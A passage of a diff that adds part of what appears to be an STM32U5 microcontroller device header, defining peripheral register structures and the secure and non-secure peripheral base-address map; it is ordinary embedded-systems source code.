+ 0x2F0 */ + __IO uint32_t VERR; /*!< FDCAN IP version register, Address offset: 0x100 + 0x2F4 */ + __IO uint32_t IPIDR; /*!< FDCAN IP ID register, Address offset: 0x100 + 0x2F8 */ + __IO uint32_t SIDR; /*!< FDCAN size ID register, Address offset: 0x100 + 0x2FC */ +} FDCAN_Config_TypeDef; + +/** + * @brief Flexible Memory Controller + */ +typedef struct +{ + __IO uint32_t BTCR[8]; /*!< NOR/PSRAM chip-select control register(BCR) and chip-select timing register(BTR), Address offset: 0x00-1C */ + __IO uint32_t PCSCNTR; /*!< PSRAM chip-select counter register, Address offset: 0x20 */ +} FMC_Bank1_TypeDef; + +/** + * @brief Flexible Memory Controller Bank1E + */ +typedef struct +{ + __IO uint32_t BWTR[7]; /*!< NOR/PSRAM write timing registers, Address offset: 0x104-0x11C */ +} FMC_Bank1E_TypeDef; + +/** + * @brief Flexible Memory Controller Bank3 + */ +typedef struct +{ + __IO uint32_t PCR; /*!< NAND Flash control register, Address offset: 0x80 */ + __IO uint32_t SR; /*!< NAND Flash FIFO status and interrupt register, Address offset: 0x84 */ + __IO uint32_t PMEM; /*!< NAND Flash Common memory space timing register, Address offset: 0x88 */ + __IO uint32_t PATT; /*!< NAND Flash Attribute memory space timing register, Address offset: 0x8C */ + uint32_t RESERVED0; /*!< Reserved, 0x90 */ + __IO uint32_t ECCR; /*!< NAND Flash ECC result registers, Address offset: 0x94 */ +} FMC_Bank3_TypeDef; + +/** + * @brief VREFBUF + */ +typedef struct +{ + __IO uint32_t CSR; /*!< VREFBUF control and status register, Address offset: 0x00 */ + __IO uint32_t CCR; /*!< VREFBUF calibration and control register, Address offset: 0x04 */ +} VREFBUF_TypeDef; + +/** + * @brief ADC + */ +typedef struct +{ + __IO uint32_t ISR; /*!< ADC Interrupt and Status Register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< ADC Interrupt Enable Register, Address offset: 0x04 */ + __IO uint32_t CR; /*!< ADC control register, Address offset: 0x08 */ + __IO uint32_t CFGR1; /*!< ADC Configuration register, Address offset: 0x0C */ + __IO uint32_t CFGR2; /*!< ADC Configuration register 2, Address offset: 0x10 */ + __IO uint32_t SMPR1; /*!< ADC sample time register 1, Address offset: 0x14 */ + __IO uint32_t SMPR2; /*!< ADC sample time register 2, Address offset: 0x18 */ /* Specific to ADC 14Bits*/ + __IO uint32_t PCSEL; /*!< ADC pre-channel selection, Address offset: 0x1C */ + __IO uint32_t AWD1TR; /*!< ADC watchdog threshold register, Address offset: 0x20 */ /* Specific to ADC 12Bits*/ + __IO uint32_t AWD2TR; /*!< ADC watchdog threshold register, Address offset: 0x24 */ /* Specific to ADC 12Bits*/ + __IO uint32_t CHSELR; /*!< ADC channel select register, Address offset: 0x28 */ /* Specific to ADC 12Bits*/ + __IO uint32_t AWD3TR; /*!< ADC watchdog threshold register, Address offset: 0x2C */ /* Specific to ADC 12Bits*/ + __IO uint32_t SQR1; /*!< ADC regular sequence register 1, Address offset: 0x30 */ /* Specific to ADC 14Bits*/ + __IO uint32_t SQR2; /*!< ADC regular sequence register 2, Address offset: 0x34 */ /* Specific to ADC 14Bits*/ + __IO uint32_t SQR3; /*!< ADC regular sequence register 3, Address offset: 0x38 */ /* Specific to ADC 14Bits*/ + __IO uint32_t SQR4; /*!< ADC regular sequence register 4, Address offset: 0x3C */ /* Specific to ADC 14Bits*/ + __IO uint32_t DR; /*!< ADC regular data register, Address offset: 0x40 */ + __IO uint32_t PWRR; /*!< ADC power register, Address offset: 0x44 */ + uint32_t RESERVED1; /*!< Reserved, 0x048 */ + __IO uint32_t JSQR; /*!< ADC injected sequence register, Address offset: 0x4C */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED2[4]; /*!< Reserved, 0x050 - 0x05C */ + __IO uint32_t OFR1; /*!< ADC offset register 1, Address offset: 0x60 */ /* Specific to ADC 14Bits*/ + __IO uint32_t OFR2; /*!< ADC offset register 2, Address offset: 0x64 */ /* Specific to ADC 14Bits*/ + __IO uint32_t OFR3; /*!< ADC offset register 3, Address offset: 0x68 */ /* Specific to ADC 14Bits*/ + __IO uint32_t OFR4; /*!< ADC offset register 4, Address offset: 0x6C */ /* Specific to ADC 14Bits*/ + __IO uint32_t GCOMP; /*!< ADC gain compensation register, Address offset: 0x70 */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED3[3]; /*!< Reserved, 0x074 - 0x07C */ + __IO uint32_t JDR1; /*!< ADC injected data register 1, Address offset: 0x80 */ /* Specific to ADC 14Bits*/ + __IO uint32_t JDR2; /*!< ADC injected data register 2, Address offset: 0x84 */ /* Specific to ADC 14Bits*/ + __IO uint32_t JDR3; /*!< ADC injected data register 3, Address offset: 0x88 */ /* Specific to ADC 14Bits*/ + __IO uint32_t JDR4; /*!< ADC injected data register 4, Address offset: 0x8C */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED4[4]; /*!< Reserved, 0x090 - 0x09C */ + __IO uint32_t AWD2CR; /*!< ADC Analog Watchdog 2 Configuration Register, Address offset: 0xA0 */ + __IO uint32_t AWD3CR; /*!< ADC Analog Watchdog 3 Configuration Register, Address offset: 0xA4 */ + __IO uint32_t LTR1; /*!< ADC watchdog Lower threshold register 1, Address offset: 0xA8 */ /* Specific to ADC 14Bits*/ + __IO uint32_t HTR1; /*!< ADC watchdog higher threshold register 1, Address offset: 0xAC */ /* Specific to ADC 14Bits*/ + __IO uint32_t LTR2; /*!< ADC watchdog Lower threshold register 2, Address offset: 0xB0 */ /* Specific to ADC 14Bits*/ + __IO uint32_t HTR2; /*!< ADC watchdog Higher threshold register 2, Address offset: 0xB4 */ /* Specific to ADC 14Bits*/ + __IO uint32_t LTR3; /*!< ADC watchdog Lower threshold register 3, Address offset: 0xB8 */ /* Specific to ADC 14Bits*/ + __IO uint32_t HTR3; /*!< ADC watchdog Higher threshold register 3, Address offset: 0xBC */ /* Specific to ADC 14Bits*/ + __IO uint32_t DIFSEL; /*!< ADC Differential Mode Selection Register, Address offset: 0xC0 */ /* Specific to ADC 14Bits*/ + __IO uint32_t CALFACT; /*!< ADC Calibration Factors, Address offset: 0xC4 */ + __IO uint32_t CALFACT2; /*!< ADC Linearity Calibration Factors, Address offset: 0xC8 */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED5; /*!< Reserved, 0x0CC */ + __IO uint32_t OR; /*!< ADC Option Register, Address offset: 0xD0 */ /* Specific to ADC 12Bits*/ +} ADC_TypeDef; + +typedef struct +{ + __IO uint32_t CSR; /*!< ADC common status register, Address offset: 0x300 */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x304 */ + __IO uint32_t CCR; /*!< ADC common control register, Address offset: 0x308 */ + __IO uint32_t CDR; /*!< ADC common regular data register for dual mode, Address offset: 0x30C */ + __IO uint32_t CDR2; /*!< ADC common regular data register for 32-bit dual mode, Address offset: 0x310 */ +} ADC_Common_TypeDef; + + +/* Legacy registers naming */ +#define PW PWRR + +/** + * @brief CORDIC + */ +typedef struct +{ + __IO uint32_t CSR; /*!< CORDIC control and status register, Address offset: 0x00 */ + __IO uint32_t WDATA; /*!< CORDIC argument register, Address offset: 0x04 */ + __IO uint32_t RDATA; /*!< CORDIC result register, Address offset: 0x08 */ +} CORDIC_TypeDef; + +/** + * @brief IWDG + */ +typedef struct +{ + __IO uint32_t KR; /*!< IWDG Key register, Address offset: 0x00 */ + __IO uint32_t PR; /*!< IWDG Prescaler register, Address offset: 0x04 */ + __IO uint32_t RLR; /*!< IWDG Reload register, Address offset: 0x08 */ + __IO uint32_t SR; /*!< IWDG Status register, Address offset: 0x0C */ + __IO uint32_t WINR; /*!< IWDG Window register, Address offset: 0x10 */ + __IO uint32_t EWCR; /*!< IWDG Early Wakeup register, Address offset: 0x14 */ +} IWDG_TypeDef; + +/** + * @brief SPI + */ +typedef struct +{ + __IO uint32_t CR1; /*!< SPI/I2S Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< SPI Control register 2, Address offset: 0x04 */ + __IO uint32_t CFG1; /*!< SPI Configuration register 1, Address offset: 0x08 */ + __IO uint32_t CFG2; /*!< SPI Configuration register 2, Address offset: 0x0C */ + __IO uint32_t IER; /*!< SPI Interrupt Enable register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< SPI Status register, Address offset: 0x14 */ + __IO uint32_t IFCR; /*!< SPI Interrupt/Status Flags Clear register, Address offset: 0x18 */ + __IO uint32_t AUTOCR; /*!< SPI Autonomous Mode Control register, Address offset: 0x1C */ + __IO uint32_t TXDR; /*!< SPI Transmit data register, Address offset: 0x20 */ + uint32_t RESERVED1[3]; /*!< Reserved, 0x24-0x2C */ + __IO uint32_t RXDR; /*!< SPI/I2S data register, Address offset: 0x30 */ + uint32_t RESERVED2[3]; /*!< Reserved, 0x34-0x3C */ + __IO uint32_t CRCPOLY; /*!< SPI CRC Polynomial register, Address offset: 0x40 */ + __IO uint32_t TXCRC; /*!< SPI Transmitter CRC register, Address offset: 0x44 */ + __IO uint32_t RXCRC; /*!< SPI Receiver CRC register, Address offset: 0x48 */ + __IO uint32_t UDRDR; /*!< SPI Underrun data register, Address offset: 0x4C */ +} SPI_TypeDef; + +/** + * @brief Touch Sensing Controller (TSC) + */ + +typedef struct +{ + __IO uint32_t CR; /*!< TSC control register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< TSC interrupt enable register, Address offset: 0x04 */ + __IO uint32_t ICR; /*!< TSC interrupt clear register, Address offset: 0x08 */ + __IO uint32_t ISR; /*!< TSC interrupt status register, Address offset: 0x0C */ + __IO uint32_t IOHCR; /*!< TSC I/O hysteresis control register, Address offset: 0x10 */ + uint32_t RESERVED1; /*!< Reserved, Address offset: 0x14 */ + __IO uint32_t IOASCR; /*!< TSC I/O analog switch control register, Address offset: 0x18 */ + uint32_t RESERVED2; /*!< Reserved, Address offset: 0x1C */ + __IO uint32_t IOSCR; /*!< TSC I/O sampling control register, Address offset: 0x20 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x24 */ + __IO uint32_t IOCCR; /*!< TSC I/O channel control register, Address offset: 0x28 */ + uint32_t RESERVED4; /*!< Reserved, Address offset: 0x2C */ + __IO uint32_t IOGCSR; /*!< TSC I/O group control status register, Address offset: 0x30 */ + __IO uint32_t IOGXCR[8]; /*!< TSC I/O group x counter register, Address offset: 0x34-50 */ +} TSC_TypeDef; + +/** + * @brief WWDG + */ +typedef struct +{ + __IO uint32_t CR; /*!< WWDG Control register, Address offset: 0x00 */ + __IO uint32_t CFR; /*!< WWDG Configuration register, Address offset: 0x04 */ + __IO uint32_t SR; /*!< WWDG Status register, Address offset: 0x08 */ +} WWDG_TypeDef; + +/*@}*/ /* end of group STM32U5xx_peripherals */ + + +/* -------- End of section using anonymous unions and disabling warnings -------- */ +#if defined (__CC_ARM) + #pragma pop +#elif defined (__ICCARM__) + /* leave anonymous unions enabled */ +#elif defined(__ARMCC_VERSION) && (__ARMCC_VERSION >= 6010050) + #pragma clang diagnostic pop +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning restore +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Address Map ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_Peripheral_peripheralAddr + * @{ + */ + +/* Internal SRAMs size */ +#define SRAM1_SIZE (0xC0000UL) /*!< SRAM1=768k */ +#define SRAM2_SIZE (0x10000UL) /*!< SRAM2=64k */ +#define SRAM3_SIZE (0xD0000UL) /*!< SRAM3=832k */ +#define SRAM4_SIZE (0x04000UL) /*!< SRAM4=16k */ +#define SRAM5_SIZE (0xD0000UL) /*!< SRAM5=832k */ +#define SRAM6_SIZE (0x80000UL) /*!< SRAM6=512k */ + +/* External memories base addresses - Not aliased */ +#define FMC_BASE (0x60000000UL) /*!< FMC base address */ +#define OCTOSPI2_BASE (0x70000000UL) /*!< OCTOSPI2 memories accessible over AHB base address */ +#define OCTOSPI1_BASE (0x90000000UL) /*!< OCTOSPI1 memories accessible over AHB base address */ +#define HSPI1_BASE (0xA0000000UL) /*!< HSPI1 memories accessible over AHB base address */ + +#define FMC_BANK1 FMC_BASE +#define FMC_BANK1_1 FMC_BANK1 +#define FMC_BANK1_2 (FMC_BANK1 + 0x04000000UL) +#define FMC_BANK1_3 (FMC_BANK1 + 0x08000000UL) +#define FMC_BANK1_4 (FMC_BANK1 + 0x0C000000UL) +#define FMC_BANK3 (FMC_BASE + 0x20000000UL) + +/* Flash, Peripheral and internal SRAMs base addresses - Non secure */ +#define FLASH_BASE_NS (0x08000000UL) /*!< FLASH (4 MB) non-secure base address */ +#define SRAM1_BASE_NS (0x20000000UL) /*!< SRAM1 (768 KB) non-secure base address */ +#define SRAM2_BASE_NS (0x200C0000UL) /*!< SRAM2 (64 KB) non-secure base address */ +#define SRAM3_BASE_NS (0x200D0000UL) /*!< SRAM3 (832 KB) non-secure base address */ +#define SRAM4_BASE_NS (0x28000000UL) /*!< SRAM4 (16 KB) non-secure base address */ +#define SRAM5_BASE_NS (0x201A0000UL) /*!< SRAM5 (832 KB) non-secure base address */ +#define SRAM6_BASE_NS (0x20270000UL) /*!< SRAM6 (512 KB) non-secure base address */ +#define PERIPH_BASE_NS (0x40000000UL) /*!< Peripheral non-secure base address */ + +/* Peripheral memory map - Non secure */ +#define APB1PERIPH_BASE_NS PERIPH_BASE_NS +#define APB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00010000UL) +#define AHB1PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00020000UL) +#define AHB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x02020000UL) +#define APB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x06000000UL) +#define AHB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x06020000UL) + +/*!< APB1 Non secure peripherals */ +#define TIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x0000UL) +#define TIM3_BASE_NS (APB1PERIPH_BASE_NS + 0x0400UL) +#define TIM4_BASE_NS (APB1PERIPH_BASE_NS + 0x0800UL) +#define TIM5_BASE_NS (APB1PERIPH_BASE_NS + 0x0C00UL) +#define TIM6_BASE_NS (APB1PERIPH_BASE_NS + 0x1000UL) +#define TIM7_BASE_NS (APB1PERIPH_BASE_NS + 0x1400UL) +#define WWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x2C00UL) +#define IWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x3000UL) +#define SPI2_BASE_NS (APB1PERIPH_BASE_NS + 0x3800UL) +#define USART2_BASE_NS (APB1PERIPH_BASE_NS + 0x4400UL) +#define USART3_BASE_NS (APB1PERIPH_BASE_NS + 0x4800UL) +#define UART4_BASE_NS (APB1PERIPH_BASE_NS + 0x4C00UL) +#define UART5_BASE_NS (APB1PERIPH_BASE_NS + 0x5000UL) +#define I2C1_BASE_NS (APB1PERIPH_BASE_NS + 0x5400UL) +#define I2C2_BASE_NS (APB1PERIPH_BASE_NS + 0x5800UL) +#define CRS_BASE_NS (APB1PERIPH_BASE_NS + 0x6000UL) +#define USART6_BASE_NS (APB1PERIPH_BASE_NS + 0x6400UL) +#define I2C4_BASE_NS (APB1PERIPH_BASE_NS + 0x8400UL) +#define LPTIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x9400UL) +#define I2C5_BASE_NS (APB1PERIPH_BASE_NS + 0x9800UL) +#define I2C6_BASE_NS (APB1PERIPH_BASE_NS + 0x9C00UL) +#define FDCAN1_BASE_NS (APB1PERIPH_BASE_NS + 0xA400UL) +#define FDCAN_CONFIG_BASE_NS (APB1PERIPH_BASE_NS + 0xA500UL) +#define SRAMCAN_BASE_NS (APB1PERIPH_BASE_NS + 0xAC00UL) +#define UCPD1_BASE_NS (APB1PERIPH_BASE_NS + 0xDC00UL) + +/*!< APB2 Non secure peripherals */ +#define TIM1_BASE_NS (APB2PERIPH_BASE_NS + 0x2C00UL) +#define SPI1_BASE_NS (APB2PERIPH_BASE_NS + 0x3000UL) +#define TIM8_BASE_NS (APB2PERIPH_BASE_NS + 0x3400UL) +#define USART1_BASE_NS (APB2PERIPH_BASE_NS + 0x3800UL) +#define TIM15_BASE_NS (APB2PERIPH_BASE_NS + 0x4000UL) +#define TIM16_BASE_NS (APB2PERIPH_BASE_NS + 0x4400UL) +#define TIM17_BASE_NS (APB2PERIPH_BASE_NS + 0x4800UL) +#define SAI1_BASE_NS (APB2PERIPH_BASE_NS + 0x5400UL) +#define SAI1_Block_A_BASE_NS (SAI1_BASE_NS + 0x004UL) +#define SAI1_Block_B_BASE_NS (SAI1_BASE_NS + 0x024UL) +#define SAI2_BASE_NS (APB2PERIPH_BASE_NS + 0x5800UL) +#define SAI2_Block_A_BASE_NS (SAI2_BASE_NS + 0x004UL) +#define SAI2_Block_B_BASE_NS (SAI2_BASE_NS + 0x024UL) +#define LTDC_BASE_NS (APB2PERIPH_BASE_NS + 0x6800UL) +#define LTDC_Layer1_BASE_NS (LTDC_BASE_NS + 0x0084UL) +#define LTDC_Layer2_BASE_NS (LTDC_BASE_NS + 0x0104UL) +#define GFXTIM_BASE_NS (APB2PERIPH_BASE_NS + 0x6400UL) + +/*!< APB3 Non secure peripherals */ +#define SYSCFG_BASE_NS (APB3PERIPH_BASE_NS + 0x0400UL) +#define SPI3_BASE_NS (APB3PERIPH_BASE_NS + 0x2000UL) +#define LPUART1_BASE_NS (APB3PERIPH_BASE_NS + 0x2400UL) +#define I2C3_BASE_NS (APB3PERIPH_BASE_NS + 0x2800UL) +#define LPTIM1_BASE_NS (APB3PERIPH_BASE_NS + 0x4400UL) +#define LPTIM3_BASE_NS (APB3PERIPH_BASE_NS + 0x4800UL) +#define LPTIM4_BASE_NS (APB3PERIPH_BASE_NS + 0x4C00UL) +#define OPAMP_BASE_NS (APB3PERIPH_BASE_NS + 0x5000UL) +#define OPAMP1_BASE_NS (APB3PERIPH_BASE_NS + 0x5000UL) +#define OPAMP2_BASE_NS (APB3PERIPH_BASE_NS + 0x5010UL) +#define COMP12_BASE_NS (APB3PERIPH_BASE_NS + 0x5400UL) +#define COMP1_BASE_NS (COMP12_BASE_NS) +#define COMP2_BASE_NS (COMP12_BASE_NS + 0x04UL) +#define VREFBUF_BASE_NS (APB3PERIPH_BASE_NS + 0x7400UL) +#define RTC_BASE_NS (APB3PERIPH_BASE_NS + 0x7800UL) +#define TAMP_BASE_NS (APB3PERIPH_BASE_NS + 0x7C00UL) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_BASE_NS (AHB1PERIPH_BASE_NS) +#define GPDMA1_Channel0_BASE_NS (GPDMA1_BASE_NS + 0x0050UL) +#define GPDMA1_Channel1_BASE_NS (GPDMA1_BASE_NS + 0x00D0UL) +#define GPDMA1_Channel2_BASE_NS (GPDMA1_BASE_NS + 0x0150UL) +#define GPDMA1_Channel3_BASE_NS (GPDMA1_BASE_NS + 0x01D0UL) +#define GPDMA1_Channel4_BASE_NS (GPDMA1_BASE_NS + 0x0250UL) +#define GPDMA1_Channel5_BASE_NS (GPDMA1_BASE_NS + 0x02D0UL) +#define GPDMA1_Channel6_BASE_NS (GPDMA1_BASE_NS + 0x0350UL) +#define GPDMA1_Channel7_BASE_NS (GPDMA1_BASE_NS + 0x03D0UL) +#define GPDMA1_Channel8_BASE_NS (GPDMA1_BASE_NS + 0x0450UL) +#define GPDMA1_Channel9_BASE_NS (GPDMA1_BASE_NS + 0x04D0UL) +#define GPDMA1_Channel10_BASE_NS (GPDMA1_BASE_NS + 0x0550UL) +#define GPDMA1_Channel11_BASE_NS (GPDMA1_BASE_NS + 0x05D0UL) +#define GPDMA1_Channel12_BASE_NS (GPDMA1_BASE_NS + 0x0650UL) +#define GPDMA1_Channel13_BASE_NS (GPDMA1_BASE_NS + 0x06D0UL) +#define GPDMA1_Channel14_BASE_NS (GPDMA1_BASE_NS + 0x0750UL) +#define GPDMA1_Channel15_BASE_NS (GPDMA1_BASE_NS + 0x07D0UL) +#define CORDIC_BASE_NS (AHB1PERIPH_BASE_NS + 0x01000UL) +#define FMAC_BASE_NS (AHB1PERIPH_BASE_NS + 0x01400UL) +#define FLASH_R_BASE_NS (AHB1PERIPH_BASE_NS + 0x02000UL) +#define CRC_BASE_NS (AHB1PERIPH_BASE_NS + 0x03000UL) +#define TSC_BASE_NS (AHB1PERIPH_BASE_NS + 0x04000UL) +#define MDF1_BASE_NS (AHB1PERIPH_BASE_NS + 0x05000UL) +#define MDF1_Filter0_BASE_NS (MDF1_BASE_NS + 0x80UL) +#define MDF1_Filter1_BASE_NS (MDF1_BASE_NS + 0x100UL) +#define MDF1_Filter2_BASE_NS (MDF1_BASE_NS + 0x180UL) +#define MDF1_Filter3_BASE_NS (MDF1_BASE_NS + 0x200UL) +#define MDF1_Filter4_BASE_NS (MDF1_BASE_NS + 0x280UL) +#define MDF1_Filter5_BASE_NS (MDF1_BASE_NS + 0x300UL) +#define RAMCFG_BASE_NS (AHB1PERIPH_BASE_NS + 0x06000UL) +#define RAMCFG_SRAM1_BASE_NS (RAMCFG_BASE_NS) +#define RAMCFG_SRAM2_BASE_NS (RAMCFG_BASE_NS + 0x0040UL) +#define RAMCFG_SRAM3_BASE_NS (RAMCFG_BASE_NS + 0x0080UL) +#define RAMCFG_SRAM4_BASE_NS (RAMCFG_BASE_NS + 0x00C0UL) +#define RAMCFG_BKPRAM_BASE_NS (RAMCFG_BASE_NS + 0x0100UL) +#define RAMCFG_SRAM5_BASE_NS (RAMCFG_BASE_NS + 0x0140UL) +#define RAMCFG_SRAM6_BASE_NS (RAMCFG_BASE_NS + 0x0180UL) +#define JPEG_BASE_NS (AHB1PERIPH_BASE_NS + 0x0A000UL) +#define DMA2D_BASE_NS (AHB1PERIPH_BASE_NS + 0x0B000UL) +#define GFXMMU_BASE_NS (AHB1PERIPH_BASE_NS + 0x0C000UL) +#define GPU2D_BASE_NS (AHB1PERIPH_BASE_NS + 0x0F000UL) +#define ICACHE_BASE_NS (AHB1PERIPH_BASE_NS + 0x10400UL) +#define DCACHE1_BASE_NS (AHB1PERIPH_BASE_NS + 0x11400UL) +#define DCACHE2_BASE_NS (AHB1PERIPH_BASE_NS + 0x11800UL) +#define GTZC_TZSC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12400UL) +#define GTZC_TZIC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12800UL) +#define GTZC_MPCBB1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12C00UL) +#define GTZC_MPCBB2_BASE_NS (AHB1PERIPH_BASE_NS + 0x13000UL) +#define GTZC_MPCBB3_BASE_NS (AHB1PERIPH_BASE_NS + 0x13400UL) +#define GTZC_MPCBB5_BASE_NS (AHB1PERIPH_BASE_NS + 0x13800UL) +#define GTZC_MPCBB6_BASE_NS (AHB1PERIPH_BASE_NS + 0x13C00UL) +#define BKPSRAM_BASE_NS (AHB1PERIPH_BASE_NS + 0x16400UL) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_BASE_NS (AHB2PERIPH_BASE_NS + 0x00000UL) +#define GPIOB_BASE_NS (AHB2PERIPH_BASE_NS + 0x00400UL) +#define GPIOC_BASE_NS (AHB2PERIPH_BASE_NS + 0x00800UL) +#define GPIOD_BASE_NS (AHB2PERIPH_BASE_NS + 0x00C00UL) +#define GPIOE_BASE_NS (AHB2PERIPH_BASE_NS + 0x01000UL) +#define GPIOF_BASE_NS (AHB2PERIPH_BASE_NS + 0x01400UL) +#define GPIOG_BASE_NS (AHB2PERIPH_BASE_NS + 0x01800UL) +#define GPIOH_BASE_NS (AHB2PERIPH_BASE_NS + 0x01C00UL) +#define GPIOI_BASE_NS (AHB2PERIPH_BASE_NS + 0x02000UL) +#define GPIOJ_BASE_NS (AHB2PERIPH_BASE_NS + 0x02400UL) +#define ADC1_BASE_NS (AHB2PERIPH_BASE_NS + 0x08000UL) +#define ADC2_BASE_NS (AHB2PERIPH_BASE_NS + 0x08100UL) +#define ADC12_COMMON_BASE_NS (AHB2PERIPH_BASE_NS + 0x08300UL) +#define DCMI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C000UL) +#define PSSI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C400UL) +#define USB_OTG_HS_BASE_NS (AHB2PERIPH_BASE_NS + 0x20000UL) +#define HASH_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0400UL) +#define HASH_DIGEST_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0710UL) +#define RNG_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0800UL) +#define OCTOSPIM_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xA4000UL) /*!< OCTOSPIO Manager control registers base address */ +#define SDMMC1_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8000UL) +#define SDMMC2_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8C00UL) +#define DLYB_SDMMC1_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8400UL) +#define DLYB_SDMMC2_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8800UL) +#define DLYB_OCTOSPI1_BASE_NS (AHB2PERIPH_BASE_NS + 0xAF000UL) +#define DLYB_OCTOSPI2_BASE_NS (AHB2PERIPH_BASE_NS + 0xAF400UL) +#define FMC_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB0400UL) /*!< FMC control registers base address */ +/*!< FMC Banks Non secure registers base address */ +#define FMC_Bank1_R_BASE_NS (FMC_R_BASE_NS + 0x0000UL) +#define FMC_Bank1E_R_BASE_NS (FMC_R_BASE_NS + 0x0104UL) +#define FMC_Bank3_R_BASE_NS (FMC_R_BASE_NS + 0x0080UL) +#define OCTOSPI1_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB1400UL) /*!< OCTOSPI1 control registers base address */ +#define OCTOSPI2_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB2400UL) /*!< OCTOSPI2 control registers base address */ +#define HSPI1_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB3400UL) + +/*!< AHB3 Non secure peripherals */ +#define LPGPIO1_BASE_NS (AHB3PERIPH_BASE_NS) +#define PWR_BASE_NS (AHB3PERIPH_BASE_NS + 0x0800UL) +#define RCC_BASE_NS (AHB3PERIPH_BASE_NS + 0x0C00UL) +#define ADC4_BASE_NS (AHB3PERIPH_BASE_NS + 0x1000UL) +#define ADC4_COMMON_BASE_NS (AHB3PERIPH_BASE_NS + 0x1300UL) +#define DAC1_BASE_NS (AHB3PERIPH_BASE_NS + 0x1800UL) +#define EXTI_BASE_NS (AHB3PERIPH_BASE_NS + 0x2000UL) +#define GTZC_TZSC2_BASE_NS (AHB3PERIPH_BASE_NS + 0x3000UL) +#define GTZC_TZIC2_BASE_NS (AHB3PERIPH_BASE_NS + 0x3400UL) +#define GTZC_MPCBB4_BASE_NS (AHB3PERIPH_BASE_NS + 0x3800UL) +#define ADF1_BASE_NS (AHB3PERIPH_BASE_NS + 0x4000UL) +#define ADF1_Filter0_BASE_NS (ADF1_BASE_NS + 0x80UL) +#define LPDMA1_BASE_NS (AHB3PERIPH_BASE_NS + 0x5000UL) +#define LPDMA1_Channel0_BASE_NS (LPDMA1_BASE_NS + 0x0050UL) +#define LPDMA1_Channel1_BASE_NS (LPDMA1_BASE_NS + 0x00D0UL) +#define LPDMA1_Channel2_BASE_NS (LPDMA1_BASE_NS + 0x0150UL) +#define LPDMA1_Channel3_BASE_NS (LPDMA1_BASE_NS + 0x01D0UL) +/* GFXMMU non secure virtual buffers base address */ +#define GFXMMU_VIRTUAL_BUFFERS_BASE_NS (0x24000000UL) +#define GFXMMU_VIRTUAL_BUFFER0_BASE_NS (GFXMMU_VIRTUAL_BUFFERS_BASE_NS) +#define GFXMMU_VIRTUAL_BUFFER1_BASE_NS (GFXMMU_VIRTUAL_BUFFERS_BASE_NS + 0x400000UL) +#define GFXMMU_VIRTUAL_BUFFER2_BASE_NS (GFXMMU_VIRTUAL_BUFFERS_BASE_NS + 0x800000UL) +#define GFXMMU_VIRTUAL_BUFFER3_BASE_NS (GFXMMU_VIRTUAL_BUFFERS_BASE_NS + 0xC00000UL) + +/* Flash, Peripheral and internal SRAMs base addresses - Secure */ +#define FLASH_BASE_S (0x0C000000UL) /*!< FLASH (4 MB) secure base address */ +#define SRAM1_BASE_S (0x30000000UL) /*!< SRAM1 (768 KB) secure base address */ +#define SRAM2_BASE_S (0x300C0000UL) /*!< SRAM2 (64 KB) secure base address */ +#define SRAM3_BASE_S (0x300D0000UL) /*!< SRAM3 (832 KB) secure base address */ +#define SRAM4_BASE_S (0x38000000UL) /*!< SRAM4 (16 KB) secure base address */ +#define SRAM5_BASE_S (0x301A0000UL) /*!< SRAM5 (832 KB) secure base address */ +#define PERIPH_BASE_S (0x50000000UL) /*!< Peripheral secure base address */ +#define SRAM6_BASE_S (0x30270000UL) /*!< SRAM6 (512 KB) secure base address */ + +/* Peripheral memory map - Secure */ +#define APB1PERIPH_BASE_S PERIPH_BASE_S +#define APB2PERIPH_BASE_S (PERIPH_BASE_S + 0x00010000UL) +#define AHB1PERIPH_BASE_S (PERIPH_BASE_S + 0x00020000UL) +#define AHB2PERIPH_BASE_S (PERIPH_BASE_S + 0x02020000UL) +#define APB3PERIPH_BASE_S (PERIPH_BASE_S + 0x06000000UL) +#define AHB3PERIPH_BASE_S (PERIPH_BASE_S + 0x06020000UL) + +/*!< APB1 Secure peripherals */ +#define TIM2_BASE_S (APB1PERIPH_BASE_S + 0x0000UL) +#define TIM3_BASE_S (APB1PERIPH_BASE_S + 0x0400UL) +#define TIM4_BASE_S (APB1PERIPH_BASE_S + 